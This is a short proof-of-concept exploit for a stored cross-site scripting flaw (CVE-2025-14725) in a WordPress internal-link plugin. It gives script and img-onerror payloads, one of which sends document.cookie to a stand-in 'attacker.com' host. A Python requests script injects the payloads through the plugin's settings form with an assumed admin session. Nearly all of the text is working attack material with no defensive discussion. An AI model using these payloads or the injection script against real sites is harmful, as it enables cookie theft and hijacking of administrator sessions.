CVE-2025-14725

<!-- CVE-2025-14725 PoC - Stored XSS in Internal Link Builder Plugin --> <!-- Requires admin-level privileges --> <!-- Step 1: Inject malicious JavaScript via plugin settings --> <!-- Example payload in link text or URL field --> <script>alert(document.cookie)</script> <!-- Or more sophisticated payload for cookie stealing --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Step 2: When admin accesses settings page or any page rendering the stored data --> <!-- The malicious script will execute automatically --> <!-- Python PoC for automation --> import requests target_url = "http://vulnerable-site.com/wp-admin/admin.php?page=internal-link-builder-settings" payload = { "internal_link_builder_text": "<script>alert('XSS')</script>", "internal_link_builder_url": "<img src=x onerror=alert(document.domain)>", "submit": "Save Changes" } session = requests.Session() # Assume valid admin session cookies are obtained session.cookies.set('wordpress_admin_cookie', 'admin_session_value') response = session.post(target_url, data=payload) print(f"XSS payload injected. Status: {response.status_code}")

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